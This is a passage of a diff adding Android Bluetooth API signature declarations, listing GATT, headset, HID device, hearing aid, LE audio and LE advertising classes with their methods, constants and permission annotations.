+    field public static final int CONNECTION_PRIORITY_HIGH = 1; // 0x1
+    field public static final int CONNECTION_PRIORITY_LOW_POWER = 2; // 0x2
+    field public static final int GATT_CONNECTION_CONGESTED = 143; // 0x8f
+    field public static final int GATT_FAILURE = 257; // 0x101
+    field public static final int GATT_INSUFFICIENT_AUTHENTICATION = 5; // 0x5
+    field public static final int GATT_INSUFFICIENT_ENCRYPTION = 15; // 0xf
+    field public static final int GATT_INVALID_ATTRIBUTE_LENGTH = 13; // 0xd
+    field public static final int GATT_INVALID_OFFSET = 7; // 0x7
+    field public static final int GATT_READ_NOT_PERMITTED = 2; // 0x2
+    field public static final int GATT_REQUEST_NOT_SUPPORTED = 6; // 0x6
+    field public static final int GATT_SUCCESS = 0; // 0x0
+    field public static final int GATT_WRITE_NOT_PERMITTED = 3; // 0x3
+  }
+
+  public abstract class BluetoothGattCallback {
+    ctor public BluetoothGattCallback();
+    method public void onCharacteristicChanged(android.bluetooth.BluetoothGatt, android.bluetooth.BluetoothGattCharacteristic);
+    method public void onCharacteristicRead(android.bluetooth.BluetoothGatt, android.bluetooth.BluetoothGattCharacteristic, int);
+    method public void onCharacteristicWrite(android.bluetooth.BluetoothGatt, android.bluetooth.BluetoothGattCharacteristic, int);
+    method public void onConnectionStateChange(android.bluetooth.BluetoothGatt, int, int);
+    method public void onDescriptorRead(android.bluetooth.BluetoothGatt, android.bluetooth.BluetoothGattDescriptor, int);
+    method public void onDescriptorWrite(android.bluetooth.BluetoothGatt, android.bluetooth.BluetoothGattDescriptor, int);
+    method public void onMtuChanged(android.bluetooth.BluetoothGatt, int, int);
+    method public void onPhyRead(android.bluetooth.BluetoothGatt, int, int, int);
+    method public void onPhyUpdate(android.bluetooth.BluetoothGatt, int, int, int);
+    method public void onReadRemoteRssi(android.bluetooth.BluetoothGatt, int, int);
+    method public void onReliableWriteCompleted(android.bluetooth.BluetoothGatt, int);
+    method public void onServiceChanged(@NonNull android.bluetooth.BluetoothGatt);
+    method public void onServicesDiscovered(android.bluetooth.BluetoothGatt, int);
+  }
+
+  public class BluetoothGattCharacteristic implements android.os.Parcelable {
+    ctor public BluetoothGattCharacteristic(java.util.UUID, int, int);
+    method public boolean addDescriptor(android.bluetooth.BluetoothGattDescriptor);
+    method public int describeContents();
+    method public android.bluetooth.BluetoothGattDescriptor getDescriptor(java.util.UUID);
+    method public java.util.List<android.bluetooth.BluetoothGattDescriptor> getDescriptors();
+    method public Float getFloatValue(int, int);
+    method public int getInstanceId();
+    method public Integer getIntValue(int, int);
+    method public int getPermissions();
+    method public int getProperties();
+    method public android.bluetooth.BluetoothGattService getService();
+    method public String getStringValue(int);
+    method public java.util.UUID getUuid();
+    method public byte[] getValue();
+    method public int getWriteType();
+    method public boolean setValue(byte[]);
+    method public boolean setValue(int, int, int);
+    method public boolean setValue(int, int, int, int);
+    method public boolean setValue(String);
+    method public void setWriteType(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.BluetoothGattCharacteristic> CREATOR;
+    field public static final int FORMAT_FLOAT = 52; // 0x34
+    field public static final int FORMAT_SFLOAT = 50; // 0x32
+    field public static final int FORMAT_SINT16 = 34; // 0x22
+    field public static final int FORMAT_SINT32 = 36; // 0x24
+    field public static final int FORMAT_SINT8 = 33; // 0x21
+    field public static final int FORMAT_UINT16 = 18; // 0x12
+    field public static final int FORMAT_UINT32 = 20; // 0x14
+    field public static final int FORMAT_UINT8 = 17; // 0x11
+    field public static final int PERMISSION_READ = 1; // 0x1
+    field public static final int PERMISSION_READ_ENCRYPTED = 2; // 0x2
+    field public static final int PERMISSION_READ_ENCRYPTED_MITM = 4; // 0x4
+    field public static final int PERMISSION_WRITE = 16; // 0x10
+    field public static final int PERMISSION_WRITE_ENCRYPTED = 32; // 0x20
+    field public static final int PERMISSION_WRITE_ENCRYPTED_MITM = 64; // 0x40
+    field public static final int PERMISSION_WRITE_SIGNED = 128; // 0x80
+    field public static final int PERMISSION_WRITE_SIGNED_MITM = 256; // 0x100
+    field public static final int PROPERTY_BROADCAST = 1; // 0x1
+    field public static final int PROPERTY_EXTENDED_PROPS = 128; // 0x80
+    field public static final int PROPERTY_INDICATE = 32; // 0x20
+    field public static final int PROPERTY_NOTIFY = 16; // 0x10
+    field public static final int PROPERTY_READ = 2; // 0x2
+    field public static final int PROPERTY_SIGNED_WRITE = 64; // 0x40
+    field public static final int PROPERTY_WRITE = 8; // 0x8
+    field public static final int PROPERTY_WRITE_NO_RESPONSE = 4; // 0x4
+    field public static final int WRITE_TYPE_DEFAULT = 2; // 0x2
+    field public static final int WRITE_TYPE_NO_RESPONSE = 1; // 0x1
+    field public static final int WRITE_TYPE_SIGNED = 4; // 0x4
+    field protected java.util.List<android.bluetooth.BluetoothGattDescriptor> mDescriptors;
+  }
+
+  public class BluetoothGattDescriptor implements android.os.Parcelable {
+    ctor public BluetoothGattDescriptor(java.util.UUID, int);
+    method public int describeContents();
+    method public android.bluetooth.BluetoothGattCharacteristic getCharacteristic();
+    method public int getPermissions();
+    method public java.util.UUID getUuid();
+    method public byte[] getValue();
+    method public boolean setValue(byte[]);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.BluetoothGattDescriptor> CREATOR;
+    field public static final byte[] DISABLE_NOTIFICATION_VALUE;
+    field public static final byte[] ENABLE_INDICATION_VALUE;
+    field public static final byte[] ENABLE_NOTIFICATION_VALUE;
+    field public static final int PERMISSION_READ = 1; // 0x1
+    field public static final int PERMISSION_READ_ENCRYPTED = 2; // 0x2
+    field public static final int PERMISSION_READ_ENCRYPTED_MITM = 4; // 0x4
+    field public static final int PERMISSION_WRITE = 16; // 0x10
+    field public static final int PERMISSION_WRITE_ENCRYPTED = 32; // 0x20
+    field public static final int PERMISSION_WRITE_ENCRYPTED_MITM = 64; // 0x40
+    field public static final int PERMISSION_WRITE_SIGNED = 128; // 0x80
+    field public static final int PERMISSION_WRITE_SIGNED_MITM = 256; // 0x100
+  }
+
+  public final class BluetoothGattServer implements android.bluetooth.BluetoothProfile {
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean addService(android.bluetooth.BluetoothGattService);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void cancelConnection(android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void clearServices();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void close();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean connect(android.bluetooth.BluetoothDevice, boolean);
+    method public java.util.List<android.bluetooth.BluetoothDevice> getConnectedDevices();
+    method public int getConnectionState(android.bluetooth.BluetoothDevice);
+    method public java.util.List<android.bluetooth.BluetoothDevice> getDevicesMatchingConnectionStates(int[]);
+    method public android.bluetooth.BluetoothGattService getService(java.util.UUID);
+    method public java.util.List<android.bluetooth.BluetoothGattService> getServices();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean notifyCharacteristicChanged(android.bluetooth.BluetoothDevice, android.bluetooth.BluetoothGattCharacteristic, boolean);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void readPhy(android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean removeService(android.bluetooth.BluetoothGattService);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean sendResponse(android.bluetooth.BluetoothDevice, int, int, int, byte[]);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void setPreferredPhy(android.bluetooth.BluetoothDevice, int, int, int);
+  }
+
+  public abstract class BluetoothGattServerCallback {
+    ctor public BluetoothGattServerCallback();
+    method public void onCharacteristicReadRequest(android.bluetooth.BluetoothDevice, int, int, android.bluetooth.BluetoothGattCharacteristic);
+    method public void onCharacteristicWriteRequest(android.bluetooth.BluetoothDevice, int, android.bluetooth.BluetoothGattCharacteristic, boolean, boolean, int, byte[]);
+    method public void onConnectionStateChange(android.bluetooth.BluetoothDevice, int, int);
+    method public void onDescriptorReadRequest(android.bluetooth.BluetoothDevice, int, int, android.bluetooth.BluetoothGattDescriptor);
+    method public void onDescriptorWriteRequest(android.bluetooth.BluetoothDevice, int, android.bluetooth.BluetoothGattDescriptor, boolean, boolean, int, byte[]);
+    method public void onExecuteWrite(android.bluetooth.BluetoothDevice, int, boolean);
+    method public void onMtuChanged(android.bluetooth.BluetoothDevice, int);
+    method public void onNotificationSent(android.bluetooth.BluetoothDevice, int);
+    method public void onPhyRead(android.bluetooth.BluetoothDevice, int, int, int);
+    method public void onPhyUpdate(android.bluetooth.BluetoothDevice, int, int, int);
+    method public void onServiceAdded(int, android.bluetooth.BluetoothGattService);
+  }
+
+  public class BluetoothGattService implements android.os.Parcelable {
+    ctor public BluetoothGattService(java.util.UUID, int);
+    method public boolean addCharacteristic(android.bluetooth.BluetoothGattCharacteristic);
+    method public boolean addService(android.bluetooth.BluetoothGattService);
+    method public int describeContents();
+    method public android.bluetooth.BluetoothGattCharacteristic getCharacteristic(java.util.UUID);
+    method public java.util.List<android.bluetooth.BluetoothGattCharacteristic> getCharacteristics();
+    method public java.util.List<android.bluetooth.BluetoothGattService> getIncludedServices();
+    method public int getInstanceId();
+    method public int getType();
+    method public java.util.UUID getUuid();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.BluetoothGattService> CREATOR;
+    field public static final int SERVICE_TYPE_PRIMARY = 0; // 0x0
+    field public static final int SERVICE_TYPE_SECONDARY = 1; // 0x1
+    field protected java.util.List<android.bluetooth.BluetoothGattCharacteristic> mCharacteristics;
+    field protected java.util.List<android.bluetooth.BluetoothGattService> mIncludedServices;
+  }
+
+  public final class BluetoothHeadset implements android.bluetooth.BluetoothProfile {
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getConnectedDevices();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public int getConnectionState(android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getDevicesMatchingConnectionStates(int[]);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean isAudioConnected(android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean isNoiseReductionSupported(@NonNull android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean isVoiceRecognitionSupported(@NonNull android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean sendVendorSpecificResultCode(android.bluetooth.BluetoothDevice, String, String);
+    method @RequiresPermission(allOf={android.Manifest.permission.BLUETOOTH_CONNECT, android.Manifest.permission.MODIFY_PHONE_STATE}) public boolean startVoiceRecognition(android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean stopVoiceRecognition(android.bluetooth.BluetoothDevice);
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_AUDIO_STATE_CHANGED = "android.bluetooth.headset.profile.action.AUDIO_STATE_CHANGED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_CONNECTION_STATE_CHANGED = "android.bluetooth.headset.profile.action.CONNECTION_STATE_CHANGED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_VENDOR_SPECIFIC_HEADSET_EVENT = "android.bluetooth.headset.action.VENDOR_SPECIFIC_HEADSET_EVENT";
+    field public static final int AT_CMD_TYPE_ACTION = 4; // 0x4
+    field public static final int AT_CMD_TYPE_BASIC = 3; // 0x3
+    field public static final int AT_CMD_TYPE_READ = 0; // 0x0
+    field public static final int AT_CMD_TYPE_SET = 2; // 0x2
+    field public static final int AT_CMD_TYPE_TEST = 1; // 0x1
+    field public static final String EXTRA_VENDOR_SPECIFIC_HEADSET_EVENT_ARGS = "android.bluetooth.headset.extra.VENDOR_SPECIFIC_HEADSET_EVENT_ARGS";
+    field public static final String EXTRA_VENDOR_SPECIFIC_HEADSET_EVENT_CMD = "android.bluetooth.headset.extra.VENDOR_SPECIFIC_HEADSET_EVENT_CMD";
+    field public static final String EXTRA_VENDOR_SPECIFIC_HEADSET_EVENT_CMD_TYPE = "android.bluetooth.headset.extra.VENDOR_SPECIFIC_HEADSET_EVENT_CMD_TYPE";
+    field public static final int STATE_AUDIO_CONNECTED = 12; // 0xc
+    field public static final int STATE_AUDIO_CONNECTING = 11; // 0xb
+    field public static final int STATE_AUDIO_DISCONNECTED = 10; // 0xa
+    field public static final String VENDOR_RESULT_CODE_COMMAND_ANDROID = "+ANDROID";
+    field public static final String VENDOR_SPECIFIC_HEADSET_EVENT_COMPANY_ID_CATEGORY = "android.bluetooth.headset.intent.category.companyid";
+  }
+
+  @Deprecated public final class BluetoothHealth implements android.bluetooth.BluetoothProfile {
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean connectChannelToSource(android.bluetooth.BluetoothDevice, android.bluetooth.BluetoothHealthAppConfiguration);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean disconnectChannel(android.bluetooth.BluetoothDevice, android.bluetooth.BluetoothHealthAppConfiguration, int);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getConnectedDevices();
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public int getConnectionState(android.bluetooth.BluetoothDevice);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getDevicesMatchingConnectionStates(int[]);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.os.ParcelFileDescriptor getMainChannelFd(android.bluetooth.BluetoothDevice, android.bluetooth.BluetoothHealthAppConfiguration);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean registerSinkAppConfiguration(String, int, android.bluetooth.BluetoothHealthCallback);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean unregisterAppConfiguration(android.bluetooth.BluetoothHealthAppConfiguration);
+    field @Deprecated public static final int APP_CONFIG_REGISTRATION_FAILURE = 1; // 0x1
+    field @Deprecated public static final int APP_CONFIG_REGISTRATION_SUCCESS = 0; // 0x0
+    field @Deprecated public static final int APP_CONFIG_UNREGISTRATION_FAILURE = 3; // 0x3
+    field @Deprecated public static final int APP_CONFIG_UNREGISTRATION_SUCCESS = 2; // 0x2
+    field @Deprecated public static final int CHANNEL_TYPE_RELIABLE = 10; // 0xa
+    field @Deprecated public static final int CHANNEL_TYPE_STREAMING = 11; // 0xb
+    field @Deprecated public static final int SINK_ROLE = 2; // 0x2
+    field @Deprecated public static final int SOURCE_ROLE = 1; // 0x1
+    field @Deprecated public static final int STATE_CHANNEL_CONNECTED = 2; // 0x2
+    field @Deprecated public static final int STATE_CHANNEL_CONNECTING = 1; // 0x1
+    field @Deprecated public static final int STATE_CHANNEL_DISCONNECTED = 0; // 0x0
+    field @Deprecated public static final int STATE_CHANNEL_DISCONNECTING = 3; // 0x3
+  }
+
+  @Deprecated public final class BluetoothHealthAppConfiguration implements android.os.Parcelable {
+    method @Deprecated public int describeContents();
+    method @Deprecated public int getDataType();
+    method @Deprecated public String getName();
+    method @Deprecated public int getRole();
+    method @Deprecated public void writeToParcel(android.os.Parcel, int);
+    field @Deprecated @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.BluetoothHealthAppConfiguration> CREATOR;
+  }
+
+  @Deprecated public abstract class BluetoothHealthCallback {
+    ctor @Deprecated public BluetoothHealthCallback();
+    method @Deprecated @BinderThread public void onHealthAppConfigurationStatusChange(android.bluetooth.BluetoothHealthAppConfiguration, int);
+    method @Deprecated @BinderThread public void onHealthChannelStateChange(android.bluetooth.BluetoothHealthAppConfiguration, android.bluetooth.BluetoothDevice, int, int, android.os.ParcelFileDescriptor, int);
+  }
+
+  public final class BluetoothHearingAid implements android.bluetooth.BluetoothProfile {
+    method @NonNull @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getConnectedDevices();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public int getConnectionState(@NonNull android.bluetooth.BluetoothDevice);
+    method @NonNull @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getDevicesMatchingConnectionStates(@NonNull int[]);
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_CONNECTION_STATE_CHANGED = "android.bluetooth.hearingaid.profile.action.CONNECTION_STATE_CHANGED";
+  }
+
+  public final class BluetoothHidDevice implements android.bluetooth.BluetoothProfile {
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean connect(android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean disconnect(android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getConnectedDevices();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public int getConnectionState(android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getDevicesMatchingConnectionStates(int[]);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean registerApp(android.bluetooth.BluetoothHidDeviceAppSdpSettings, android.bluetooth.BluetoothHidDeviceAppQosSettings, android.bluetooth.BluetoothHidDeviceAppQosSettings, java.util.concurrent.Executor, android.bluetooth.BluetoothHidDevice.Callback);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean replyReport(android.bluetooth.BluetoothDevice, byte, byte, byte[]);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean reportError(android.bluetooth.BluetoothDevice, byte);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean sendReport(android.bluetooth.BluetoothDevice, int, byte[]);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean unregisterApp();
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_CONNECTION_STATE_CHANGED = "android.bluetooth.hiddevice.profile.action.CONNECTION_STATE_CHANGED";
+    field public static final byte ERROR_RSP_INVALID_PARAM = 4; // 0x4
+    field public static final byte ERROR_RSP_INVALID_RPT_ID = 2; // 0x2
+    field public static final byte ERROR_RSP_NOT_READY = 1; // 0x1
+    field public static final byte ERROR_RSP_SUCCESS = 0; // 0x0
+    field public static final byte ERROR_RSP_UNKNOWN = 14; // 0xe
+    field public static final byte ERROR_RSP_UNSUPPORTED_REQ = 3; // 0x3
+    field public static final byte PROTOCOL_BOOT_MODE = 0; // 0x0
+    field public static final byte PROTOCOL_REPORT_MODE = 1; // 0x1
+    field public static final byte REPORT_TYPE_FEATURE = 3; // 0x3
+    field public static final byte REPORT_TYPE_INPUT = 1; // 0x1
+    field public static final byte REPORT_TYPE_OUTPUT = 2; // 0x2
+    field public static final byte SUBCLASS1_COMBO = -64; // 0xffffffc0
+    field public static final byte SUBCLASS1_KEYBOARD = 64; // 0x40
+    field public static final byte SUBCLASS1_MOUSE = -128; // 0xffffff80
+    field public static final byte SUBCLASS1_NONE = 0; // 0x0
+    field public static final byte SUBCLASS2_CARD_READER = 6; // 0x6
+    field public static final byte SUBCLASS2_DIGITIZER_TABLET = 5; // 0x5
+    field public static final byte SUBCLASS2_GAMEPAD = 2; // 0x2
+    field public static final byte SUBCLASS2_JOYSTICK = 1; // 0x1
+    field public static final byte SUBCLASS2_REMOTE_CONTROL = 3; // 0x3
+    field public static final byte SUBCLASS2_SENSING_DEVICE = 4; // 0x4
+    field public static final byte SUBCLASS2_UNCATEGORIZED = 0; // 0x0
+  }
+
+  public abstract static class BluetoothHidDevice.Callback {
+    ctor public BluetoothHidDevice.Callback();
+    method public void onAppStatusChanged(android.bluetooth.BluetoothDevice, boolean);
+    method public void onConnectionStateChanged(android.bluetooth.BluetoothDevice, int);
+    method public void onGetReport(android.bluetooth.BluetoothDevice, byte, byte, int);
+    method public void onInterruptData(android.bluetooth.BluetoothDevice, byte, byte[]);
+    method public void onSetProtocol(android.bluetooth.BluetoothDevice, byte);
+    method public void onSetReport(android.bluetooth.BluetoothDevice, byte, byte, byte[]);
+    method public void onVirtualCableUnplug(android.bluetooth.BluetoothDevice);
+  }
+
+  public final class BluetoothHidDeviceAppQosSettings implements android.os.Parcelable {
+    ctor public BluetoothHidDeviceAppQosSettings(int, int, int, int, int, int);
+    method public int describeContents();
+    method public int getDelayVariation();
+    method public int getLatency();
+    method public int getPeakBandwidth();
+    method public int getServiceType();
+    method public int getTokenBucketSize();
+    method public int getTokenRate();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.BluetoothHidDeviceAppQosSettings> CREATOR;
+    field public static final int MAX = -1; // 0xffffffff
+    field public static final int SERVICE_BEST_EFFORT = 1; // 0x1
+    field public static final int SERVICE_GUARANTEED = 2; // 0x2
+    field public static final int SERVICE_NO_TRAFFIC = 0; // 0x0
+  }
+
+  public final class BluetoothHidDeviceAppSdpSettings implements android.os.Parcelable {
+    ctor public BluetoothHidDeviceAppSdpSettings(String, String, String, byte, byte[]);
+    method public int describeContents();
+    method public String getDescription();
+    method public byte[] getDescriptors();
+    method public String getName();
+    method public String getProvider();
+    method public byte getSubclass();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.BluetoothHidDeviceAppSdpSettings> CREATOR;
+  }
+
+  public final class BluetoothLeAudio implements java.lang.AutoCloseable android.bluetooth.BluetoothProfile {
+    method public void close();
+    method protected void finalize();
+    method @NonNull @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getConnectedDevices();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public int getConnectionState(@NonNull android.bluetooth.BluetoothDevice);
+    method @NonNull @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getDevicesMatchingConnectionStates(@NonNull int[]);
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_LE_AUDIO_CONNECTION_STATE_CHANGED = "android.bluetooth.action.LE_AUDIO_CONNECTION_STATE_CHANGED";
+  }
+
+  public final class BluetoothManager {
+    method public android.bluetooth.BluetoothAdapter getAdapter();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getConnectedDevices(int);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public int getConnectionState(android.bluetooth.BluetoothDevice, int);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public java.util.List<android.bluetooth.BluetoothDevice> getDevicesMatchingConnectionStates(int, int[]);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothGattServer openGattServer(android.content.Context, android.bluetooth.BluetoothGattServerCallback);
+  }
+
+  public interface BluetoothProfile {
+    method public java.util.List<android.bluetooth.BluetoothDevice> getConnectedDevices();
+    method public int getConnectionState(android.bluetooth.BluetoothDevice);
+    method public java.util.List<android.bluetooth.BluetoothDevice> getDevicesMatchingConnectionStates(int[]);
+    field public static final int A2DP = 2; // 0x2
+    field public static final String EXTRA_PREVIOUS_STATE = "android.bluetooth.profile.extra.PREVIOUS_STATE";
+    field public static final String EXTRA_STATE = "android.bluetooth.profile.extra.STATE";
+    field public static final int GATT = 7; // 0x7
+    field public static final int GATT_SERVER = 8; // 0x8
+    field public static final int HEADSET = 1; // 0x1
+    field @Deprecated public static final int HEALTH = 3; // 0x3
+    field public static final int HEARING_AID = 21; // 0x15
+    field public static final int HID_DEVICE = 19; // 0x13
+    field public static final int SAP = 10; // 0xa
+    field public static final int STATE_CONNECTED = 2; // 0x2
+    field public static final int STATE_CONNECTING = 1; // 0x1
+    field public static final int STATE_DISCONNECTED = 0; // 0x0
+    field public static final int STATE_DISCONNECTING = 3; // 0x3
+  }
+
+  public static interface BluetoothProfile.ServiceListener {
+    method public void onServiceConnected(int, android.bluetooth.BluetoothProfile);
+    method public void onServiceDisconnected(int);
+  }
+
+  public final class BluetoothServerSocket implements java.io.Closeable {
+    method public android.bluetooth.BluetoothSocket accept() throws java.io.IOException;
+    method public android.bluetooth.BluetoothSocket accept(int) throws java.io.IOException;
+    method public void close() throws java.io.IOException;
+    method public int getPsm();
+  }
+
+  public final class BluetoothSocket implements java.io.Closeable {
+    method public void close() throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void connect() throws java.io.IOException;
+    method public int getConnectionType();
+    method public java.io.InputStream getInputStream() throws java.io.IOException;
+    method public int getMaxReceivePacketSize();
+    method public int getMaxTransmitPacketSize();
+    method public java.io.OutputStream getOutputStream() throws java.io.IOException;
+    method public android.bluetooth.BluetoothDevice getRemoteDevice();
+    method public boolean isConnected();
+    field public static final int TYPE_L2CAP = 3; // 0x3
+    field public static final int TYPE_RFCOMM = 1; // 0x1
+    field public static final int TYPE_SCO = 2; // 0x2
+  }
+
+  public final class BluetoothStatusCodes {
+    field public static final int ERROR_BLUETOOTH_NOT_ALLOWED = 2; // 0x2
+    field public static final int ERROR_BLUETOOTH_NOT_ENABLED = 1; // 0x1
+    field public static final int ERROR_DEVICE_NOT_BONDED = 3; // 0x3
+    field public static final int ERROR_MISSING_BLUETOOTH_CONNECT_PERMISSION = 6; // 0x6
+    field public static final int ERROR_UNKNOWN = 2147483647; // 0x7fffffff
+    field public static final int SUCCESS = 0; // 0x0
+  }
+
+}
+
+package android.bluetooth.le {
+
+  public abstract class AdvertiseCallback {
+    ctor public AdvertiseCallback();
+    method public void onStartFailure(int);
+    method public void onStartSuccess(android.bluetooth.le.AdvertiseSettings);
+    field public static final int ADVERTISE_FAILED_ALREADY_STARTED = 3; // 0x3
+    field public static final int ADVERTISE_FAILED_DATA_TOO_LARGE = 1; // 0x1
+    field public static final int ADVERTISE_FAILED_FEATURE_UNSUPPORTED = 5; // 0x5
+    field public static final int ADVERTISE_FAILED_INTERNAL_ERROR = 4; // 0x4
+    field public static final int ADVERTISE_FAILED_TOO_MANY_ADVERTISERS = 2; // 0x2
+  }
+
+  public final class AdvertiseData implements android.os.Parcelable {
+    method public int describeContents();
+    method public boolean getIncludeDeviceName();
+    method public boolean getIncludeTxPowerLevel();
+    method public android.util.SparseArray<byte[]> getManufacturerSpecificData();
+    method public java.util.Map<android.os.ParcelUuid,byte[]> getServiceData();
+    method @NonNull public java.util.List<android.os.ParcelUuid> getServiceSolicitationUuids();
+    method public java.util.List<android.os.ParcelUuid> getServiceUuids();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.le.AdvertiseData> CREATOR;
+  }
+
+  public static final class AdvertiseData.Builder {
+    ctor public AdvertiseData.Builder();
+    method public android.bluetooth.le.AdvertiseData.Builder addManufacturerData(int, byte[]);
+    method public android.bluetooth.le.AdvertiseData.Builder addServiceData(android.os.ParcelUuid, byte[]);
+    method @NonNull public android.bluetooth.le.AdvertiseData.Builder addServiceSolicitationUuid(@NonNull android.os.ParcelUuid);
+    method public android.bluetooth.le.AdvertiseData.Builder addServiceUuid(android.os.ParcelUuid);
+    method public android.bluetooth.le.AdvertiseData build();
+    method public android.bluetooth.le.AdvertiseData.Builder setIncludeDeviceName(boolean);
+    method public android.bluetooth.le.AdvertiseData.Builder setIncludeTxPowerLevel(boolean);
+  }
+
+  public final class AdvertiseSettings implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getMode();
+    method public int getTimeout();
+    method public int getTxPowerLevel();
+    method public boolean isConnectable();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ADVERTISE_MODE_BALANCED = 1; // 0x1
+    field public static final int ADVERTISE_MODE_LOW_LATENCY = 2; // 0x2
+    field public static final int ADVERTISE_MODE_LOW_POWER = 0; // 0x0
+    field public static final int ADVERTISE_TX_POWER_HIGH = 3; // 0x3
+    field public static final int ADVERTISE_TX_POWER_LOW = 1; // 0x1
+    field public static final int ADVERTISE_TX_POWER_MEDIUM = 2; // 0x2
+    field public static final int ADVERTISE_TX_POWER_ULTRA_LOW = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.le.AdvertiseSettings> CREATOR;
+  }
+
+  public static final class AdvertiseSettings.Builder {
+    ctor public AdvertiseSettings.Builder();
+    method public android.bluetooth.le.AdvertiseSettings build();
+    method public android.bluetooth.le.AdvertiseSettings.Builder setAdvertiseMode(int);
+    method public android.bluetooth.le.AdvertiseSettings.Builder setConnectable(boolean);
